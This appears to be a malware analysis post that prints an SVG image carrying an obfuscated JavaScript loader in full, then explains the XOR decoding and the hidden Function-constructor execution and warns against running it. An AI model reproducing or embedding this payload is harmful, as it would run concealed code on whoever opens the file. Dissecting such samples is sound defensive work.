The provided code is a combination of SVG XML structure...

July 2, 2025 at 04:21 PM

<?xml version="1.0" encoding="UTF-8" standalone="no"?>

<svg xmlns="http://www.w3.org/2000/svg" width="400" height="250"> <script> <![CDATA[

S = 'xxxxxx'; (() => { const i = "bdd65fd0865d8e48898806a4", j = "150d0a525a114a5c57555410510a5a16504b5d5e100b4155160b061e55072c62581d12545b2d13131a740e74121d434d5a1d461d55043057581d12505a571313585a4d62501d015a340e041d123f09091f1d121174081313586f4274501d46042452431d55373254581d5529593254131a77086e121d46042055431d552b1e7e581d122b620c13131a01531a191d320f"; const u = j.match(/.{2}/g), T = []; for (let B = 0; B < u.length; B++) { T.push(String.fromCharCode(parseInt(u[B], 16) ^ i.charCodeAt(B % i.length))); } const s = T.join(''); const A = { toString: () => { const r = [][ [115,111,109,101].map(y => String.fromCharCode(y)).join('') ][ [99,111,110,115,116,114,117,99,116,111,114].map(y => String.fromCharCode(y)).join('') ]; return r(s)(), 1; } }; A + ''; })(); ]]> </script> </svg>

The provided code is a combination of SVG XML structure and embedded JavaScript inside a <script> tag within CDATA. Here's what the code does:

SVG Wrapper:
- The opening <svg> tag establishes this as an SVG image with a width of 400 and height of 250 pixels. However, the <script> tag embedded in it contains the actual logic.
JavaScript Decryption of Encoded Data:
- The JavaScript code appears to dynamically compute some output through obfuscated logic.
- The encryption key is stored in the variable i as "bdd65fd0865d8e48898806a4".
- An encoded hexadecimal string is stored in j. This string is broken into chunks of two characters (.{2}) using match(/.{2}/g), which essentially splits it into individual byte representations.
- Decoding logic:
  - A for loop iterates through each hexadecimal chunk, converts it to a character using parseInt(u[B], 16) (hexadecimal to integer conversion), and XORs it with corresponding characters from the key i (i.charCodeAt(B % i.length)).
  - The resulting characters are combined to form the decoded string s.
Dynamic Construction:
- The object A contains a custom toString method. This method dynamically evaluates the decrypted string s.
- Internally, the toString method builds dynamic JavaScript function calls by reconstructing "some constructor" from ASCII character codes. This is likely used to execute the decrypted string as JavaScript.
Potential Output or Execution:
- The expression A + '' at the end triggers coercion to a string, which calls the A.toString() method and executes the potentially decrypted/exfiltrated JavaScript in s.

Summary:

This code is designed to obfuscate a JavaScript payload encoded in the j string, which is XOR-decoded using the i key.
Once decoded, the resulting string (likely malicious or dynamic) will be executed.
This is typically seen in malicious scripts, backdoors, or attempts to hide JavaScript payloads, often used in scenarios like data exfiltration or executing harmful operations in the context of a web page.

Warning:

Executing this code in any environment is not recommended, as it could contain malicious payloads. Always analyze obfuscated scripts like this in an isolated and safe environment.

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